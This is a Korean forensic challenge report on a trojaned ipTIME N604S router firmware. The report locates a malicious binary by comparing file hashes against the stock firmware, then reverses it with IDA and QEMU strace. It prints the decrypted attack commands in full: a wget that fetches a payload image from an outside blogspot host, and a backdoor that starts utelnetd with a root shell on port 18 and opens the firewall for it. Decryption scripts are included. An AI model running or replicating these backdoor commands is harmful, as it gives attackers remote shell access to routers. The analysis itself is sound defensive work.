KDFS 2015 디지털 포렌식 챌린지

Similar documents
목차 I. 요약문 소개 침해사고결과요약... 4 II. 문제및풀이 플래시메모리에서추출한펌웨어에서악성코드파일을찾으시오 악성코드파일의악성행위를상세히분석하시오 공격자가펌웨어를수정할수있었던원인은펌웨어검증

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

ActFax 4.31 Local Privilege Escalation Exploit

Windows 8에서 BioStar 1 설치하기

SBR-100S User Manual

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

PowerPoint 프레젠테이션

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Adobe Flash 취약점 분석 (CVE )

PowerPoint 프레젠테이션

BMP 파일 처리

Secure Programming Lecture1 : Introduction

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

PowerPoint 프레젠테이션

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드]

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

SRC PLUS 제어기 MANUAL

Microsoft PowerPoint - chap10-함수의활용.pptx

[ 악성코드상세분석보고서 ] SK 커뮤니케이션즈해킹관련상세분석보고서 nateon.exe 대응 2 팀

API 매뉴얼

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

아이콘의 정의 본 사용자 설명서에서는 다음 아이콘을 사용합니다. 참고 참고는 발생할 수 있는 상황에 대처하는 방법을 알려 주거나 다른 기능과 함께 작동하는 방법에 대한 요령을 제공합니다. 상표 Brother 로고는 Brother Industries, Ltd.의 등록 상

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는

untitled

[8051] 강의자료.PDF

6주차.key

10.

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

PowerPoint 프레젠테이션

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta

Microsoft PowerPoint - 15-MARS

슬라이드 1

IRISCard Anywhere 5

untitled


제목을 입력하세요

PowerPoint 프레젠테이션

Microsoft PowerPoint - 03-Development-Environment-2.ppt

Install stm32cubemx and st-link utility

ISP and CodeVisionAVR C Compiler.hwp

발신자 목적지 발신자 목적지 발신자 목적지 공격자 발신자 목적지 발신자 목적지 공격자 공격자

Microsoft PowerPoint 웹 연동 기술.pptx

PowerPoint Presentation

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

/chroot/lib/ /chroot/etc/

슬라이드 1

4. 스위치재부팅을실시한다. ( 만약, Save 질문이나오면 'no' 를실시한다.) SWx#reload System configuration has been modified. Save? [yes/no]: no Proceed with reload? [confirm] (

Secure Programming Lecture1 : Introduction

Mango24R2 Auto Write

SIGIL 완벽입문

Mango220 Android How to compile and Transfer image to Target

vi 사용법

품질검증분야 Stack 통합 Test 결과보고서 [ The Bug Genie ]

The Pocket Guide to TCP/IP Sockets: C Version

RHEV 2.2 인증서 만료 확인 및 갱신

PowerPoint 프레젠테이션

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

*2008년1월호진짜

슬라이드 1

Microsoft Word - MSOffice_WPS_analysis.doc

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

1217 WebTrafMon II

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1. Execution sequence 첫번째로 GameGuard 의실행순서는다음과같습니다 오전 10:10:03 Type : Create 오전 10:10:03 Parent ID : 0xA 오전 10:10:03 Pro

Web Scraper in 30 Minutes 강철

<B5B6BCADC7C1B7CEB1D7B7A52DC0DBBEF7C1DF E687770>

Dropbox Forensics

Chapter ...

USB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 최초작성 by 김정현 스크립트추가, 설명보충 by 유형목 1. VritualBox

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

비디오 / 그래픽 아답터 네트워크 만약에 ArcGolbe를 사용하는 경우, 추가적인 디스크 공간 필요. ArcGlobe는 캐시파일을 생성하여 사용 24 비트 그래픽 가속기 Oepn GL 2.0 이상을 지원하는 비디오카드 최소 64 MB 이고 256 MB 이상을 메모리

Microsoft PowerPoint - polling.pptx

chap7.key

PowerPoint 프레젠테이션

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074>

<4D F736F F F696E74202D20BFEEBFB5C3BCC1A6BDC7BDC D31C7D0B1E229202D20BDA92E BC8A3C8AF20B8F0B5E55D>


Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

우리나라의 전통문화에는 무엇이 있는지 알아봅시다. 우리나라의 전통문화를 체험합시다. 우리나라의 전통문화를 소중히 여기는 마음을 가집시다. 5. 우리 옷 한복의 특징 자료 3 참고 남자와 여자가 입는 한복의 종류 가 달랐다는 것을 알려 준다. 85쪽 문제 8, 9 자료

상품 전단지

::: 해당사항이 없을 경우 무 표시하시기 바랍니다. 검토항목 검 토 여 부 ( 표시) 시 민 : 유 ( ) 무 시 민 참 여 고 려 사 항 이 해 당 사 자 : 유 ( ) 무 전 문 가 : 유 ( ) 무 옴 브 즈 만 : 유 ( ) 무 법 령 규 정 : 교통 환경 재

2

DBPIA-NURIMEDIA

화이련(華以戀) hwp

ÆòÈ�´©¸® 94È£ ³»Áö_ÃÖÁ¾

歯1##01.PDF

<5BC1F8C7E0C1DF2D31B1C75D2DBCF6C1A4BABB2E687770>

Transcription:

(사)한국디지털포렌식학회 2015 디지털 포렌식 챌린지 분석 보고서 구성원 이름 김보겸 진용휘 이휘원 소속 고려대학교 고려대학교 고려대학교

0. 개요 0.1 분석 환경 다음과 같은 환경에서 분석을 진행하였다. OS : Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Emulator : QEMU emulator version 2.0.0 (Debian 2.0.0+dfsg-2ubuntu1.15), Copyright (c) 2003-2008 Fabrice Bellard [텍스트 0-1] 분석 환경 정보 0.2 사용한 도구 분석할 때 사용한 도구는 다음과 같다. * IDA Pro 6.6 Hex-rays 1 * HxD v1.7.7.0 2 [텍스트 0-2] 분석 도구 정보 1. 플래시 메모리에서 추출한 펌웨어에서 악성코드 파일을 찾으시오. 1.1 추출한 펌웨어의 구조에 대하여 설명하시오. 공유기 펌웨어 파일은 기본적으로 다음과 같이 구성되어 있다. * Boot-loader * Kernel * Root File System (applications + etc) 펌웨어 파일의 구성을 분석해주는 도구 binwalk를 통해 본 결과 다음과 같다. $ binwalk 2015_KDFS_Challenge.bin DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------- 46692 0xB664 LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 209044 bytes 131072 0x20000 TRX firmware header, little endian, header size: 28 bytes, image size: 3654656 bytes, CRC32: 0x85FE9CEF flags/version: 0x10000 1 https://www.hex-rays.com/products/ida/6.6/ 2 http://mh-nexus.de/en/hxd/ - 2 -

131100 0x2001C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4378624 bytes 1565732 0x17E424 CramFS filesystem, little endian size 2220032 version #2 sorted_dirs CRC 0x51549668, edition 0, 1860 blocks, 371 files [텍스트 1-1] 펌웨어 구조 분석 결과 LZMA 형태로 압축된 파일(7z)이 존재하고 TRX 펌웨어의 헤더파일 그리고 CramFS 파일시스템을 확 인할 수 있다. CramFS 파일 시스템은 플래시 디바이스 내부에서 사용 가능한 압축된 읽기 전용 리눅스 파일 시스템이다. CramFS 는 간단하고 공간 효율적이라는 주요 특징이 있다. 이 파일 시스템은 메모리 크기가 작은 임베디드 디자인에 활용된다. 하지만 실제로 분석해본 결과 해 당 펌웨어는 다음과 같은 구조를 가지는 것을 확인할 수 있었다. 시작 오프셋 끝 오프셋 내용 0x0 0x1FFFF 부트로더 0x20000 0x2001B TRX 펌웨어 헤더 구조체 0x2001C 0x39C3FF 펌웨어 내용 0x39C400 0x39C437 펌웨어 모델 및 버전 정보 구조체 CramFS 파일 시스템은 펌웨어 내용 부분에 있었으며 부트로더에 의해 풀리는 것으로 추측할 수 있었다. 1.2 파일시스템에서 악성코드 파일을 찾으시오. 정상적인 펌웨어 파일과의 디핑(diffing)을 통해 악성코드 파일을 찾았다. 그러기 위해서는 해당 공유기 펌웨어의 제품명과 버전 정보를 확인해야 했다. 이는 추출한 CramFS 파일시스템에서 손쉽게 찾을 수 있었다. 확인해본 결과 다음과 같다. # cat./default/var/run/hwinfo company_name=efm Networks product_name=iptime N604S url=www.iptime.co.kr max_vlan=5 mirror_port=4 num_lan_port=4 lan_port_swap=1 max_port=5 wan_port=5 dev_port_type=1-3 -

firmup_duration=110 reboot_duration=40 max_wds=4 max_macauth=128 wireless_ifname=eth1 wan_ifname=eth0 local_ifname=br0 br0_port=eth1,vlan0 port_diag=1 bootloader_size=0x20000 max_firmware_size=0x3f0000 save_flash_offset=0x3f0000 save_flash_size=0x10000 flash_sector_size=0x10000 max_syslog=400 ip_conntrack_max=8192 udp_conntrack_max=4096 icmp_conntrack_max=1024 auth_server=auth2.efm-net.com max_txpower_gain=76 flash_diag_dev=/dev/mtd/3 language=kr product_alias=n604s # cat./home/httpd/version 9.72 [텍스트 1-2] 펌웨어 제품명 및 버전 정보 확인해본 결과 EFM Networks 사의 iptime n604s 9.72 펌웨어 파일임을 알 수 있었다. 이는 http://iptime.com/iptime/?page_id=126 에서 손쉽게 다운받을 수 있다. 그래서 원본 펌웨어를 다운 받고 최상위 경로에서부터 모든 파일에 대해 md5 해시 값을 생성하였다.. $ find. -exec md5sum {} \; > log_orig md5sum:.: Is a directory md5sum:./proc: Is a directory md5sum:./ndbin: Is a directory md5sum:./ndbin/netdetect.cgi: No such file or directory md5sum:./cgibin/login-cgi/hostinfo.cgi: No such file or directory md5sum:./cgibin/login.cgi: No such file or directory $ sort log_orig > log_orig.txt $ cat log_orig.txt 008ff38f6478ad295a4ecd1d5b28cb77./home/httpd/js/wirelessconf2.js 0545c379f295e325f4f8f155dd476f80./home/httpd/build_date fdd6401ce20ade0db281c54d7b809e3d./cgibin/captcha.cgi ff2c5d93eb15d56309404d90cc0485d4./sbin/nas - 4 -

[텍스트 1-3] 펌웨어 내의 모든 파일들에 대한 해시 테이블 생성 이를 문제에서 주어진 펌웨어에 대해 만든 해시 테이블과 비교하면 어떠한 차이들이 있는지 손쉽게 알 수 있다. 다음은 비교한 결과이다. $ diff log_chal.txt log_orig.txt 53d52 < 18a1e94205352d46f41473e58177b56d./sbin/initi 95a95,141 < 77d3e982f2f66a42390c8e3be406fc5e./sbin/utelnetd 205d202 < 8f2e59a5a9d3574a1f29acded4df5927./usr/bin/qemu-mipsel-static 221d217 < 9d4a3213a2c3a93548c634567b699aab./sbin/pptpctrld [텍스트 1-4] 해시 테이블 비교 일단 처음에 나온 파일에 대해 분석해본 결과 일반 텍스트파일로 방화벽 관련 설정과 악성코드를 실행 시키는 명령어가 들어있다. $ file initi initi: ASCII text, with CRLF line terminators $ cat initi /sbin/iptables -I INPUT -i lo -j ACCEPT /sbin/pptpctrld & [텍스트 1-5] initi 파일 분석 iptables 명령어를 통해 방화벽을 설정하는데 외부에서 lo 인터페이스로 들어오는 패킷을 ACCEPT하도 록 설정해놓고 있다. 그리고 나서 pptpctrld 파일을 백그라운드로 실행시키는데 상당히 의심스러웠기에 악성코드 파일이라 가정하고 분석을 진행하였다. [#1-2] 파일시스템에서 악성코드 파일을 찾으시오 pptpctrld 2. 악성코드 파일의 악성행위를 상세히 분석하시오. 2.0 악성코드(pptpctrld)에 대한 정적 및 동적 분석 - 5 -

위에서 언급한 /sbin/pptpctrld 는 원본 펌웨어와 비교해봤을 때 새로 생겨있던 파일이다. 악성코드의 행위를 유추해보기 위해 IDA Pro 6.6 으로 분석을 진행하였다. 바이너리는 MIPS 용 ELF 실행파일로, static 컴파일이 되어있었다. [그림 2-1] pptpctrld 시작 지점(Entry Point) 엔트리포인트에서는 a0 에 함수 포인터, a1 에 명령줄에 들어가는 인자 개수를 넣고 a2 에 인자들에 대한 더블 포인터 주소를 넣어준 후 어떤 함수를 호출해주고 있었다. 이는 일반 컴퓨터에서 사용되는 GNU libc 와 임베디드 기기에서 사용되는 uclibc 를 이용해서 프로그램을 컴파일 할 때 시작 지점으로 만들어지는 부분과 비슷했으며, 따라서 uclibc_start_main(main, argc, argv, _init_proc, _term_proc)과 같은 형태라고 추측한 후 분석할 수 있었다. 실제로 0x404F78 에 위치한 uclibc_start_main 은 아래와 같이 main 함수를 호출해준다. - 6 -

[그림 2-2] uclib_start_main 실행 원리 [그림 2-2]의 첫 번째 그림에서 확인할 수 있듯이 함수 첫 부분에서 $a0 레지스터를 $s5 레지스터로 백업한다. $s5 레지스터에는 main 함수의 주소가 담겨있다. 그리고 두 번째 그림에서 보면, 함수 마지막 부분에서 $s5 레지스터를 $t9 레지스터로 옮겨준 후 $t9 레지스터에 담긴 주소를 함수로서 호출한다. 다음은 main 함수에 대한 분석이다. uclibc_start_main 의 첫 번째 인자($a0)로 넘어간 함수를 main 함수라고 칭한다. main 함수의 첫 부분에서는 어떤 암호화된 문자열들을 어떤 버퍼에 넣어주고 있었다. 아래 코드는 바이너리의 읽기 전용 세그먼트에 있는 0x4069D0~0x406A50, 0x406A50~0x406A60, 0x406A60~0x6A70 까지의 버퍼를 지역 변수에 복사해주는 부분이다. - 7 -

[그림 2-3] pptpctrld main() 0x406A60, 0x406A50 주위에 있는 문자들을 $sp 레지스터 주위의 지역 변수($sp+0x228-0x120)에 넣어준 후 아래의 루프를 통해 0x4069D0 부터 0x406A50 전까지의 메모리를 16 바이트씩 복사해주는 것을 알 수 있었다. 컴파일러에서 최적화를 위해 정적인 길이에 대한 memcpy() 함수를 함수에 내장시킨 후 16 바이트 단위로 loop unrolling 을 한 것으로 보였다. 그 후 이 프로그램을 실행하는 데에 필요한 펌웨어 파일이 있는 상태였기 때문에 이 부분은 동적으로 분석해보았다. 이후에는 동적 분석 및 정적 분석을 같이 수행하였다. 동적 분석에서 호출한 기능을 프로그램 내에서 IDA 를 통해 정적으로 찾아보는 방식으로 수행한다. 예를 들어 pptpctrld 악성코드를 QEMU strace 기능을 이용하여 출력된 함수들의 흐름을 보면 다음과 같다. 4876 ioctl(0,21517,1996486048,1996486668,0,0) = 0 4876 ioctl(1,21517,1996486048,1996486177,0,0) = 0 4876 pipe(1996485552,1996485496,16,256,0,0) = 3 4876 fcntl(3,f_getfl) = 0 4876 ioctl(3,21517,1996485296,4221592,0,0) = -1 errno=25 (Inappropriate ioctl for device) 4876 brk(null) = 0x0044a000 4876 brk(0x0044c000) = 0x0044c000 4876 fork() = 4877-8 -

4876 close(4) = 0 4876 rt_sigprocmask(sig_block,0x76fff230,0x76fff2b0) = 0 4876 rt_sigaction(sigchld,null,0x76fff1e0) = 0 4876 rt_sigprocmask(sig_setmask,0x76fff2b0,null) = 0 4876 nanosleep(1996485160,1996485160,0,0,0,0) = 0 4877 close(3) = 0 4877 dup2(4,1,4485200,0,0,0) = 1 4877 close(4) = 0 4877 execve("/bin/sh",{"sh","-c","wget http://1.bp.blogspot.com/- obaml33af1k/vbxurdejn6i/aaaaaaaaaam/ocobpawmcxe/s1600/electrocat.png -O /etc/pptpd.cache - q",null})sig_block,0x40800820,0x408008a0) = 0 4876 open("/tmp/etc/pptpd.cache",o_rdonly) = 4 4876 ioctl(4,21517,1996485368,0,0,0) = -1 errno=25 (Inappropriate ioctl for device) 4876 brk(0x0044e000) = 0x0044e000 4876 _llseek(4,0,1323,0x76fff328,seek_set) = 0 4876 read(4,0x44c00c,16) = 16 4876 _llseek(4,0,0,0x76fff2f0,seek_set) = 0 4876 _llseek(4,0,1327,0x76fff328,seek_set) = 0 4876 read(4,0x447260,16) = 16 4876 _llseek(4,0,85312,0x76fff328,seek_set) = 0 4876 read(4,0x44c00c,112) = 112 4876 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigchld,0x76fff208,0x76fff228) = 0 4876 fork() = 4879 4876 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4876 wait4(4879,1996485560,0,0,0,0) = 0 4879 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4879 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4879 rt_sigaction(sigchld,0x76fff208,0x76fff228) = 0 4879 execve("/bin/sh",{"sh","-c","/sbin/utelnetd -p 18 -l /bin/sh 2> /dev/null & /sbin/iptables -A INPUT -p tcp --dport 18 -j ACCEPT 2> /dev/null",null}) telnetd: starting port: 18; interface: any; login program: /bin/sh = 4879 4876 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigchld,0x76fff208,0x76fff228) = 0 4876 close(4) = 0 4876 exit(0) [텍스트 2-4] pptrpctrld strace 디버깅 디버깅 결과 눈에 띄는 syscall 들만 추려서 구글링을 통해 인자값을 확인하여 어떤 함수인지 분석할 수 있다. 전역 변수에 있는 문자열들을 지역 변수로 복사한 후의 지역 변수들은 아래와 같다. $sp + 0x288 0x120[128byte]: 암호문 버퍼 (system 함수에 들어감) $sp + 0x288 0x238[16byte] : 키 버퍼 $sp + 0x288 0x228[16byte] : IV 버퍼 $sp + 0x288 0x218[32byte] : 암호문 버퍼 (fopen 함수에 들어감) - 9 -

[텍스트 2-5] main 함수 지역변수 함수들의 루틴 및 그에 쓰인 상수 값들로 분석해본 결과 이 세 값들은 AES128-CBC 복호화에 쓰이며 복호화된 값은 추후 설명할 system(), fopen() 함수에 인자로서 들어간다. 구조는 다음과 같다. [그림 2-6] 문자열 복사 후 main() 함수 흐름 이 값들을 정적으로 복호화하기 위해 쓰인 스크립트는 다음과 같다. from Crypto.Cipher import AES key = [224, 225, 214, 79, 218, 196, 24, 143, 8, 124, 77, 68, 6, 13, 230, 94] iv = [173, 70, 66, 66, 66, 139, 118, 18, 91, 22, 192, 218, 229, 200, 74, 156] ciphertexts = ( [23, 179, 43, 162, 73, 250, 52, 235, 68, 28, 104, 160, 214, 140, 255, 33, 53, 220, 82, 180, 142, 31, 170, 28, 8, 16, 203, 219, 14, 0, 149, 110, 220, 185, 63, 202, 207, 108, 113, 207, 21, 221, 227, 149, 204, 250, 13, 147, 204, 41, 189, 2, 113, 14, 205, 106, 244, 165, 56, 43, 220, 127, 155, 2, 241, 23, 254, 158, 151, 67, 213, 36, 197, 33, 86, 218, 177, 109, 233, 189, 101, 178, 89, 206, 252, 238, 198, 86, 191, 139, 56, 100, 246, 207, 246, 173, 23, 69, 118, 74, 122, 161, 88, 172, 163, 180, 117, 237, 157, 226, 165, 214, 52, 157, 167, 215, 191, 140, 78, 120, 233, 181, 180, 245, 174, 155, 39, 42], [154, 153, 224, 112, 56, 110, 119, 171, 189, 189, 201, 55, 245, 104, 197, 4, 173, 201, 223, 79, 150, 153, 227, 108, 254, 242, 232, 98, 33, 175, 125, 80] ) key, iv = map(lambda arr: str(bytearray(arr)), (key, iv)) # conversion for index, ciphertext in enumerate(ciphertexts): aes = AES.new(key, IV=iv, mode=aes.mode_cbc) print '#', index, '\t', aes.decrypt(str(bytearray(ciphertext))) [텍스트 2-7] AES128-CBC 복호화 위 스크립트 실행결과는 다음과 같다. - 10 -

$ python AES128-CBC_decrypt.py # 0 wget http://1.bp.blogspot.com/- obaml33af1k/vbxurdejn6i/aaaaaaaaaam/ocobpawmcxe/s1600/electrocat.png -O /etc/pptpd.cache -q # 1 /tmp/etc/pptpd.cache [텍스트 2-8] AES128-CBC 복호화 결과 출력 결과의 #0 은 실행되는 명령어이며, #1 은 다운로드 후 파일을 읽는 위치이다. 2.1 악성코드가 외부서버에서 다운로드하는 URL은 무엇인가? 악성코드라 가정한 pptpctrld 파일에 대해 우선 QEMU의 strace 동적 디버깅 기능을 이용하여 분석을 시작하였다. 동적 분석용 환경 구축을 위해 아래 두 가지 작업을 미리 수행하였다. 1 chroot : 해당 프로그램에 한해서 모든 파일 작업의 최상위 경로(root 경로)를 특정 폴더(여기서는 현재 경로. )로 설정 2 qemu-mips-static : MIPS 에뮬레이터. strace 옵션을 주어 명령어 실행 여부 및 외부 통신 과정을 기록하면서 진행 이 방법의 장점은 난독화 과정을 자세히 분석하고 복호화 루틴을 짜지 않아도 직접 복호화 루틴을 실행 후 결과를 바로 받아볼 수 있다는 점이다. 하지만 이 방법으로 프로그램을 구동할 시에는 실제 기기와 실행 환경이 차이가 난다. 이는 -strace 옵션에서 기록되는 시스템 콜(리눅스 커널에 사용자 실행 파일이 기능을 요청하는 것)을 모니터링한 다음 결과에 따라 qemu 의 소스코드를 수정하면 어느 정도 해결이 가능하다. 단 이 프로그램을 분석하는 과정에서 그럴 일은 없었다. 악성코드는 nanosleep()을 호출하여 몇 초간 대기하는 것을 확인할 수 있었다. IDA 로 인자 값을 확인해보면 60 초로 설정되어있는 것을 알 수 있는데 분석의 편의를 위해 0 초로 패치하였다. 패치한 바이너리에 대해서 동적 분석해본 결과 다음과 같다. # chroot. qemu-mipsel-static -strace./sbin/pptpctrld_p 4710 ioctl(0,21517,1996486048,1996486668,0,0) = 0 4710 ioctl(1,21517,1996486048,1996486177,0,0) = 0 4710 pipe(1996485552,1996485496,16,256,0,0) = 3 4710 fcntl(3,f_getfl) = 0 4710 ioctl(3,21517,1996485296,4221592,0,0) = -1 errno=25 (Inappropriate ioctl for device) 4710 brk(null) = 0x0044a000 4710 brk(0x0044c000) = 0x0044c000 4710 fork() = 4711 4710 close(4) = 0 4710 rt_sigprocmask(sig_block,0x76fff230,0x76fff2b0) = 0 4710 rt_sigaction(sigchld,null,0x76fff1e0) = 0 4710 rt_sigprocmask(sig_setmask,0x76fff2b0,null) = 0 4710 nanosleep(1996485160,1996485160,0,0,0,0) = 0 4711 close(3) = 0 4711 dup2(4,1,4485200,0,0,0) = 1 4711 close(4) = 0 4711 execve("/bin/sh",{"sh","-c","wget http://1.bp.blogspot.com/- obaml33af1k/vbxurdejn6i/aaaaaaaaaam/ocobpawmcxe/s1600/electrocat.png -O /etc/pptpd.cache - q",null}) - 11 -

[텍스트 2-9] pptpctrld 동적 분석 execve 함수를 통해 wget 명령어를 실행시키는데 받아오는 url 주소는 다음과 같다. [#2-1] 악성코드가 외부서버에서 다운로드하는 URL은 무엇인가? http://1.bp.blogspot.com/- obaml33af1k/vbxurdejn6i/aaaaaaaaaam/ocobpawmcxe/s1600/electrocat.png 하지만, URL 문자열은 바이너리 내에 AES128-CBC 형태로 암호화되어 저장되어 있었고 이는 내부 루 틴을 통해 복호화하여 wget 명령어의 인자로 들어간 것이다. 2.2 악성코드가 외부서버에서 받아오는 데이터의 내용은 무엇인가? 실제로 wget 명령어를 통해서 받아오면 하나의 png 파일임을 확인할 수 있다. # file electrocat.png electrocat.png: PNG image data, 448 x 448, 8-bit/color RGBA, non-interlaced [텍스트 2-10] 받아온 파일(electrocat.png) 기본 정보 [텍스트 2-9]을 보면, wget 명령어를 통해 외부 웹 주소에 있는 electrocat.png 파일을 /etc/pptpd.cache 이름으로 다운로드 해주는 스크립트를 확인할 수 있다. 하지만 HxD를 이용해서 png 파일을 열어보면 파일의 끝 부분에 추가적인 데이터가 있음을 확인할 수 있다. - 12 -

[그림 2-11] png 파일 끝 부분에 추가된 데이터 pptpctrld 악성코드는 이 파일을 /etc/pptpd.cache 로 받은 다음에 /tmp/etc/pptpd.cache 를 열어 본다. iptime 펌웨어의 경우 /etc/가 /tmp/etc/에 심볼릭 링크 되어있기 때문에 이 두 경로는 앞의 명 령어로 다운받은 같은 파일을 가리킨다. 바이너리 내에서는 이후 /tmp/etc/pptpd.cache 파일을 열어 서 특정 오프셋에 위치한 암호화된 데이터를 읽어 들인 후 몇 가지 연산을 통해 암호문을 복호화한다. 그리고 이 결과값을 system() 함수의 인자로 전달하는 것을 확인할 수 있었다. [그림 2-11]의 영역이 바로 AES128-CBC 로 암호화 된 값이며 key와 iv(initial vector)값은 각각 하드코딩된 파일의 0x52b, 0x52f 오프셋에 있는 kdfs, 2015 문자열의 md5 해시값들이다. 다음은 이를 복호화하기 위 한 스크립트 및 실행 결과이다. from hashlib import md5 from Crypto.Cipher import AES key = md5('kdfs').digest() iv = md5('2015').digest() ciphertext = [0x72, 0x0A, 0x02, 0xAA, 0x97, 0x2D, 0x5B, 0x8A, 0x43, 0xF1, 0xBD, 0x56, 0xB1, 0xC0, 0x27, 0x76, 0xD2, 0x7B, 0x39, 0x04, 0xC4, 0xDA, 0xC4, 0x78, 0x85, 0x16, 0xFE, 0xA5, 0xD4, 0x55, 0x8F, 0xE1, 0x93, 0x9B, 0x88, 0xAB, 0x74, 0xA3, 0x78, 0xF2, 0x6B, 0xD9, 0x84, 0xCB, 0x81, 0x32, 0xCA, 0xB3, 0x96, 0x8A, 0x55, 0xE4, 0x37, 0x78, 0x0E, 0xF9, 0xB5, 0xE2, 0x02, 0x2C, 0xFF, 0x65, 0xFC, 0x7D, 0xC4, 0xE5, 0xBB, 0x25, 0x5C, 0xC4, 0xEE, 0xF5, 0xB6, 0x0A, 0xA0, 0xF1, 0x6E, 0x47, 0xD0, 0xAC, 0x33, 0x36, 0x93, 0x7E, 0x70, 0x3E, 0x4C, 0x88, 0xB6, 0x15, 0x5A, 0xA7, 0xE5, 0xA0, 0x3D, 0xD4, 0x1E, 0x74, 0xD6, 0xA6, 0xCF, 0x84, 0x04, 0xDF, 0x63, 0x37, 0xD9, 0x58, 0x2C, 0x64, 0xA1, 0x0D] aes = AES.new(key, IV=iv, mode=aes.mode_cbc) print aes.decrypt(str(bytearray(ciphertext))) $ python AES128-CBC_decrypt2.py /sbin/utelnetd -p 18 -l /bin/sh 2> /dev/null & /sbin/iptables -A INPUT -p tcp --dport 18 -j ACCEPT 2> /dev/null [텍스트 2-12] AES128-CBC 복호화 스크립트 및 복호화 결과 2.3 악성코드가 외부서버에서 받아온 데이터는 어떤 행위를 하는가? 파일을 받아온 다음에 하는 행위를 QEMU strace 기능을 이용하여 동적 분석한 결과는 다음과 같다. 4877 execve("/bin/sh",{"sh","-c","wget http://1.bp.blogspot.com/- obaml33af1k/vbxurdejn6i/aaaaaaaaaam/ocobpawmcxe/s1600/electrocat.png -O /etc/pptpd.cache - q",null})sig_block,0x40800820,0x408008a0) = 0 4876 open("/tmp/etc/pptpd.cache",o_rdonly) = 4-13 -

4876 ioctl(4,21517,1996485368,0,0,0) = -1 errno=25 (Inappropriate ioctl for device) 4876 brk(0x0044e000) = 0x0044e000 4876 _llseek(4,0,1323,0x76fff328,seek_set) = 0 4876 read(4,0x44c00c,16) = 16 4876 _llseek(4,0,0,0x76fff2f0,seek_set) = 0 4876 _llseek(4,0,1327,0x76fff328,seek_set) = 0 4876 read(4,0x447260,16) = 16 4876 _llseek(4,0,85312,0x76fff328,seek_set) = 0 4876 read(4,0x44c00c,112) = 112 4876 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigchld,0x76fff208,0x76fff228) = 0 4876 fork() = 4879 4876 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4876 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4876 wait4(4879,1996485560,0,0,0,0) = 0 4879 rt_sigaction(sigquit,0x76fff208,0x76fff228) = 0 4879 rt_sigaction(sigint,0x76fff208,0x76fff228) = 0 4879 rt_sigaction(sigchld,0x76fff208,0x76fff228) = 0 4879 execve("/bin/sh",{"sh","-c","/sbin/utelnetd -p 18 -l /bin/sh 2> /dev/null & /sbin/iptables -A INPUT -p tcp --dport 18 -j ACCEPT 2> 